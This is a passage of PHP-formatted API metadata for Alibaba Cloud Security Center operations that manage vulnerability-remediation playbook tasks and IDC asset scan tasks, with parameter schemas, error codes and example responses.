.' "removeFlag": 0,'."\n" .' "source": 1,'."\n" .' "target": 8'."\n" .' }'."\n" .' ],'."\n" .' "nodes": ['."\n" .' {'."\n" .' "actionId": "Action_014s73k",'."\n" .' "iconUrl": "https://img.alicdn.com/tfs/TB1T*****jSZLeXXb9kVXa-12-14.svg",'."\n" .' "id": 1,'."\n" .' "label": "describeDisks",'."\n" .' "nodeName": "DescribeDisks",'."\n" .' "status": 0,'."\n" .' "type": "openAPI"'."\n" .' }'."\n" .' ]'."\n" .'}', ], 'Params' => [ 'description' => 'The parameters of the task.'."\n", 'type' => 'string', 'example' => '['."\n" .' {'."\n" .' "name": "vulList",'."\n" .' "associationProperty": "sasAllVul",'."\n" .' "value": ['."\n" .' {'."\n" .' "regionId": "cn-hangzhou",'."\n" .' "instanceId": "i-bp10i3dtyq7x4****5e",'."\n" .' "instanceName": "xxx",'."\n" .' "vulId": 1222,'."\n" .' "vulName": "centos:7:cesa-2024:1249",'."\n" .' "vulAliasName": "CESA-2024:1249",'."\n" .' "vulTag": "oval",'."\n" .' "vulUuid": "3c5eb76a-df89-****-85ef-67562cdc2344",'."\n" .' "vulType": "cve",'."\n" .' "vulModifyTs": 1721324258000'."\n" .' }'."\n" .' ]'."\n" .' },'."\n" .' {'."\n" .' "name": "snapshotConfig",'."\n" .' "associationProperty": "snapshotConfig",'."\n" .' "value": {'."\n" .' "ttl": 1'."\n" .' }'."\n" .' },'."\n" .' {'."\n" .' "name": "notifyConfig",'."\n" .' "associationProperty": "notifyConfig",'."\n" .' "value": {'."\n" .' "ding": ['."\n" .' {'."\n" .' "value": 2195,'."\n" .' "label": "test"'."\n" .' }'."\n" .' ]'."\n" .' }'."\n" .' }'."\n" .']', ], 'TaskName' => [ 'description' => 'The name of the task.'."\n", 'type' => 'string', 'example' => 'task-1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\",\\n \\"TaskDetail\\": {\\n \\"LogInfo\\": \\"{\\\\n\\\\\\"resultContent\\\\\\": \\\\\\"{\\\\\\\\\\\\\\"failedNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"totalNum\\\\\\\\\\\\\\":1,\\\\\\\\\\\\\\"successNum\\\\\\\\\\\\\\":1}\\\\\\",\\\\n\\\\\\"resultStatus\\\\\\": 0,\\\\n\\\\\\"status\\\\\\": 2\\\\n}\\",\\n \\"ProcessInfo\\": \\"{\\\\n \\\\\\"edges\\\\\\": [\\\\n {\\\\n \\\\\\"level\\\\\\": 0,\\\\n \\\\\\"removeFlag\\\\\\": 0,\\\\n \\\\\\"source\\\\\\": 1,\\\\n \\\\\\"target\\\\\\": 8\\\\n }\\\\n ],\\\\n \\\\\\"nodes\\\\\\": [\\\\n {\\\\n \\\\\\"actionId\\\\\\": \\\\\\"Action_014s73k\\\\\\",\\\\n \\\\\\"iconUrl\\\\\\": \\\\\\"https://img.alicdn.com/tfs/TB1T*****jSZLeXXb9kVXa-12-14.svg\\\\\\",\\\\n \\\\\\"id\\\\\\": 1,\\\\n \\\\\\"label\\\\\\": \\\\\\"describeDisks\\\\\\",\\\\n \\\\\\"nodeName\\\\\\": \\\\\\"DescribeDisks\\\\\\",\\\\n \\\\\\"status\\\\\\": 0,\\\\n \\\\\\"type\\\\\\": \\\\\\"openAPI\\\\\\"\\\\n }\\\\n ]\\\\n}\\",\\n \\"Params\\": \\"[\\\\n {\\\\n \\\\\\"name\\\\\\": \\\\\\"vulList\\\\\\",\\\\n \\\\\\"associationProperty\\\\\\": \\\\\\"sasAllVul\\\\\\",\\\\n \\\\\\"value\\\\\\": [\\\\n {\\\\n \\\\\\"regionId\\\\\\": \\\\\\"cn-hangzhou\\\\\\",\\\\n \\\\\\"instanceId\\\\\\": \\\\\\"i-bp10i3dtyq7x4****5e\\\\\\",\\\\n \\\\\\"instanceName\\\\\\": \\\\\\"xxx\\\\\\",\\\\n \\\\\\"vulId\\\\\\": 1222,\\\\n \\\\\\"vulName\\\\\\": \\\\\\"centos:7:cesa-2024:1249\\\\\\",\\\\n \\\\\\"vulAliasName\\\\\\": \\\\\\"CESA-2024:1249\\\\\\",\\\\n \\\\\\"vulTag\\\\\\": \\\\\\"oval\\\\\\",\\\\n \\\\\\"vulUuid\\\\\\": \\\\\\"3c5eb76a-df89-****-85ef-67562cdc2344\\\\\\",\\\\n \\\\\\"vulType\\\\\\": \\\\\\"cve\\\\\\",\\\\n \\\\\\"vulModifyTs\\\\\\": 1721324258000\\\\n }\\\\n ]\\\\n },\\\\n {\\\\n \\\\\\"name\\\\\\": \\\\\\"snapshotConfig\\\\\\",\\\\n \\\\\\"associationProperty\\\\\\": \\\\\\"snapshotConfig\\\\\\",\\\\n \\\\\\"value\\\\\\": {\\\\n \\\\\\"ttl\\\\\\": 1\\\\n }\\\\n },\\\\n {\\\\n \\\\\\"name\\\\\\": \\\\\\"notifyConfig\\\\\\",\\\\n \\\\\\"associationProperty\\\\\\": \\\\\\"notifyConfig\\\\\\",\\\\n \\\\\\"value\\\\\\": {\\\\n \\\\\\"ding\\\\\\": [\\\\n {\\\\n \\\\\\"value\\\\\\": 2195,\\\\n \\\\\\"label\\\\\\": \\\\\\"test\\\\\\"\\\\n }\\\\n ]\\\\n }\\\\n }\\\\n]\\",\\n \\"TaskName\\": \\"task-1\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeSoarStrategyTaskDetail', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DescribeSoarStrategyTasks' => [ 'summary' => 'Queries a list of policy tasks on the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92202', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'PageNumber', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'PageNumber' => [ 'description' => 'The page number. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'SoarStrategyTasks' => [ 'description' => 'The policy tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the policy task.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the policy task. Valid values:'."\n" ."\n" .'* \\-1: waiting'."\n" .'* 0: starting'."\n" .'* 1: running'."\n" .'* 2: finished'."\n" .'* 3: schedule'."\n" .'* 4: pause'."\n", 'type' => 'string', 'example' => '0', ], 'FailedNum' => [ 'description' => 'The number of execution failures.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'StrategyId' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8000', ], 'GmtCreate' => [ 'description' => 'The timestamp when the policy task was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1708481235000', ], 'SuccessNum' => [ 'description' => 'The number of successful executions.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalNum' => [ 'description' => 'The total number of executions.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RunMode' => [ 'description' => 'The execution mode. Valid values:'."\n" ."\n" .'* runmode_TRIGGER_BY_USER: manually executed'."\n", 'type' => 'string', 'example' => 'runmode_TRIGGER_BY_USER', ], 'Name' => [ 'description' => 'The name of the policy task.'."\n", 'type' => 'string', 'example' => 'strategy_name01', ], 'GmtModified' => [ 'description' => 'The timestamp when the policy task was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1669869436000', ], 'Id' => [ 'description' => 'The ID of the policy task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '5374', ], 'GmtFinish' => [ 'description' => 'The timestamp when the policy task was complete. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1586739841000', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 100,\\n \\"SoarStrategyTasks\\": [\\n {\\n \\"Status\\": \\"0\\",\\n \\"FailedNum\\": 20,\\n \\"StrategyId\\": 8000,\\n \\"GmtCreate\\": 1708481235000,\\n \\"SuccessNum\\": 20,\\n \\"TotalNum\\": 20,\\n \\"RunMode\\": \\"runmode_TRIGGER_BY_USER\\",\\n \\"Name\\": \\"strategy_name01\\",\\n \\"GmtModified\\": 1669869436000,\\n \\"Id\\": 5374,\\n \\"GmtFinish\\": 1586739841000\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSoarStrategyTasks', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'ModifySoarStrategySubscribe' => [ 'summary' => 'Creates or deletes a policy template on the My Policies tab of the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92391', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the policy.'."\n" ."\n" .'> You can call the [DescribeSoarStrategies](~~DescribeSoarStrategies~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '8000', ], ], [ 'name' => 'SubscribeStatus', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to create the policy template. Valid values:'."\n" ."\n" .'* true: creates the policy template'."\n" .'* false: deletes the policy template'."\n", 'type' => 'boolean', 'required' => true, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '8BF56229-7FF5-51ED-B958-00B8573E77CD', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8BF56229-7FF5-51ED-B958-00B8573E77CD\\"\\n}","type":"json"}]', 'title' => 'ModifySoarStrategySubscribe', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DescribeSoarSubscribedStrategy' => [ 'summary' => 'Queries a list of policies created on the Playbook page of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92203', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'PageNumber', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'PageNumber' => [ 'description' => 'The page number. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '101', ], 'SoarStrategies' => [ 'description' => 'The policies.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the policy.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the policy. Valid values:'."\n" ."\n" .'* type_vulfix: vulnerability operations'."\n", 'type' => 'string', 'example' => 'type_vulfix', ], 'ExecuteNum' => [ 'description' => 'The total number of times that the policy is executed.'."\n", 'type' => 'string', 'example' => '10', ], 'Description' => [ 'description' => 'The description of the policy.'."\n", 'type' => 'string', 'example' => 'strategy_description_01', ], 'GmtCreate' => [ 'description' => 'The timestamp when the policy was created. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1716344106000', ], 'RunMode' => [ 'description' => 'The execution mode. Valid values:'."\n" ."\n" .'* runmode_TRIGGER_BY_USER: manually executed'."\n", 'type' => 'string', 'example' => 'runmode_TRIGGER_BY_USER', ], 'Name' => [ 'description' => 'The name of the policy.'."\n", 'type' => 'string', 'example' => 'strategy_name01', ], 'GmtModified' => [ 'description' => 'The timestamp when the policy was modified. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1652672104000', ], 'Id' => [ 'description' => 'The ID of the policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '300063', ], 'Creator' => [ 'description' => 'The Alibaba Cloud account ID of the creator.'."\n", 'type' => 'string', 'example' => '1276085*****4392', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 101,\\n \\"SoarStrategies\\": [\\n {\\n \\"Type\\": \\"type_vulfix\\",\\n \\"ExecuteNum\\": \\"10\\",\\n \\"Description\\": \\"strategy_description_01\\",\\n \\"GmtCreate\\": 1716344106000,\\n \\"RunMode\\": \\"runmode_TRIGGER_BY_USER\\",\\n \\"Name\\": \\"strategy_name01\\",\\n \\"GmtModified\\": 1652672104000,\\n \\"Id\\": 300063,\\n \\"Creator\\": \\"1276085*****4392\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSoarSubscribedStrategy', 'description' => 'Only the Enterprise and Ultimate editions of Security Center support this API operation.'."\n", ], 'DescribeSyncAssetTaskList' => [ 'summary' => 'Queries a list of IDC scan tasks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '92218', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: 1. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the IDC scan task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'IDC_PROBE_SCAN***', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the IDC scan task starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1652063828796', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the IDC scan task ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1662430077000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of IDC scan tasks per page. Default value: 20. If you leave this parameter empty, 20 IDC scan tasks are returned on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of IDC scan tasks returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '110', ], 'Count' => [ 'description' => 'The number of IDC scan tasks on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'TaskRecords' => [ 'description' => 'The IDC scan tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IDC scan task.'."\n", 'type' => 'object', 'properties' => [ 'TaskType' => [ 'description' => 'The type of the task. The value is fixed as **IDC_PROBE_SCAN**, which indicates an IDC scan task.'."\n", 'type' => 'string', 'example' => 'IDC_PROBE_SCAN', ], 'TaskStatus' => [ 'description' => 'The status of the IDC scan task. Valid Values:'."\n" ."\n" .'* **INIT**: The task is not started.'."\n" .'* **START**: The task is started.'."\n" .'* **MESSAGE_SEND**: The command is sent.'."\n" .'* **SUCCESS**: The task is complete.'."\n" .'* **FAIL**: The task failed.'."\n" .'* **TIMEOUT**: The task timed out.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'TaskName' => [ 'description' => 'The name of the task.'."\n", 'type' => 'string', 'example' => 'IDC_PROBE_SCAN-1.1.1..124-lse_ubuntu_test1', ], 'RootTaskId' => [ 'description' => 'The ID of the root task.'."\n", 'type' => 'string', 'example' => '73c392f9c505129a257472a3f911d65d', ], 'ProcessRate' => [ 'description' => 'The progress of the task, in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'TaskStartTime' => [ 'description' => 'The timestamp when the task started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1633746651715', ], 'AssetCount' => [ 'description' => 'The number of assets that are detected by the task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'TaskEndTime' => [ 'description' => 'The timestamp when the task ended.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1653965680000', ], 'IpSegments' => [ 'description' => 'The CIDR blocks that are used for scanning. Multiple CIDR blocks are separated by commas (,).'."\n", 'type' => 'string', 'example' => '1.1.1.1/24,1.1.1.1/24', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 110,\\n \\"Count\\": 10\\n },\\n \\"TaskRecords\\": [\\n {\\n \\"TaskType\\": \\"IDC_PROBE_SCAN\\",\\n \\"TaskStatus\\": \\"SUCCESS\\",\\n \\"TaskName\\": \\"IDC_PROBE_SCAN-1.1.1..124-lse_ubuntu_test1\\",\\n \\"RootTaskId\\": \\"73c392f9c505129a257472a3f911d65d\\",\\n \\"ProcessRate\\": 100,\\n \\"TaskStartTime\\": 1633746651715,\\n \\"AssetCount\\": 100,\\n \\"TaskEndTime\\": 1653965680000,\\n \\"IpSegments\\": \\"1.1.1.1/24,1.1.1.1/24\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSyncAssetTaskList', ], 'DescribeSyncAssetTaskLogDetail' => [ 'summary' => 'Queries the details of an IDC scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: 1. Pages start from page 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'TaskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the IDC scan task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'IDC_PROBE_SCAN-TEST_001', ], ], [ 'name' => 'RootTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the IDC scan task. You can call the [DescribeSyncAssetTaskList](~~141932~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '7e9565f537146fdf6bfb4e01f6f08818', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1644027670', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp of the task.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1668064495000', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '12', ], 'Count' => [ 'description' => 'The number of entries on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'TaskRecordDetails' => [ 'description' => 'The details of the tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the task.'."\n", 'type' => 'object', 'properties' => [ 'TaskReportTime' => [ 'description' => 'The timestamp when the task results were reported.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671614217000', ], 'LeafTaskId' => [ 'description' => 'The ID of the task.'."\n", 'type' => 'string', 'example' => '6c4e4c36ffc3e5919120b405c2b3****', ], 'UnprotectedAssetCount' => [ 'description' => 'The number of unprotected assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'TaskMsg' => [ 'description' => 'The description of the task.'."\n", 'type' => 'string', 'example' => 'unknown reason', ], 'IdcRegion' => [ 'description' => 'The region of the server in the data center.'."\n", 'type' => 'string', 'example' => 'cn-shanghai', ], 'AssetCount' => [ 'description' => 'The total number of assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'LeafTaskStatus' => [ 'description' => 'The status of the task. Valid values:'."\n" ."\n" .'* **INIT**: The task is not started.'."\n" .'* **START**: The task is started.'."\n" .'* **MESSAGE_SEND**: The command is sent.'."\n" .'* **SUCCESS**: The task is complete.'."\n" .'* **FAIL**: The task failed.'."\n" .'* **TIMEOUT**: The task timed out.'."\n", 'type' => 'string', 'example' => 'INIT', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 12,\\n \\"Count\\": 4\\n },\\n \\"TaskRecordDetails\\": [\\n {\\n \\"TaskReportTime\\": 1671614217000,\\n \\"LeafTaskId\\": \\"6c4e4c36ffc3e5919120b405c2b3****\\",\\n \\"UnprotectedAssetCount\\": 0,\\n \\"TaskMsg\\": \\"unknown reason\\",\\n \\"IdcRegion\\": \\"浙江杭州\\",\\n \\"AssetCount\\": 5,\\n \\"LeafTaskStatus\\": \\"INIT\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSyncAssetTaskLogDetail', ], 'DescribeSoarPlaybookTaskDetail' => [ 'summary' => 'Query the execution details of a remediation task playbook', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '240722', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'RecordId', 'in' => 'query', 'schema' => [ 'description' => 'The vulnerability ID passed when creating the policy task.'."\n" .'> You can obtain this parameter by calling the [DescribeVulList](~~DescribeVulList~~) interface.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '14', ], ], [ 'name' => 'PlaybookId', 'in' => 'query', 'schema' => [ 'description' => 'Playbook ID.'."\n" .'> You can obtain this parameter by calling the [DescribePlaybooks](~~2627461~~) interface.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], [ 'name' => 'RequestUuid', 'in' => 'query', 'schema' => [ 'description' => 'UUID of the playbook task execution.'."\n" .'> You can obtain this parameter by calling the [DescribeSoarRecords](~~2627455~~) interface.', 'type' => 'string', 'required' => true, 'example' => 'a15e37da-abe0-4d87-acd2-024e875a****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Return content.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current call request, which is a unique identifier generated by Alibaba Cloud for this request, and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], 'TaskDetail' => [ 'description' => 'Task details.', 'type' => 'object', 'properties' => [ 'LogInfo' => [ 'description' => 'Log information of the task.', 'type' => 'string', 'example' => '{"status":1, "errMsg":"paramError"}', ], 'ProcessInfo' => [ 'description' => 'Process information corresponding to the strategy.', 'type' => 'string', 'example' => '{"edges":[{"level":0,"removeFlag":0,"source":1,"target":8}]}', ], 'Params' => [ 'description' => 'Parameters for invoking the playbook.', 'type' => 'string', 'example' => 'params1', ], 'TaskName' => [ 'description' => 'Task name.', 'type' => 'string', 'example' => 'task1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"TaskDetail\\": {\\n \\"LogInfo\\": \\"{\\\\\\"status\\\\\\":1, \\\\\\"errMsg\\\\\\":\\\\\\"paramError\\\\\\"}\\",\\n \\"ProcessInfo\\": \\"{\\\\\\"edges\\\\\\":[{\\\\\\"level\\\\\\":0,\\\\\\"removeFlag\\\\\\":0,\\\\\\"source\\\\\\":1,\\\\\\"target\\\\\\":8}]}\\",\\n \\"Params\\": \\"params1\\",\\n \\"TaskName\\": \\"task1\\"\\n }\\n}","type":"json"}]', 'title' => 'Query Playbook Task Details', 'description' => 'This API is only supported by the Enterprise and Flagship editions of Cloud Security Center, other versions do not support it.', 'translator' => 'machine', ], 'DescribeSoarStrategyTaskParams' => [ 'summary' => 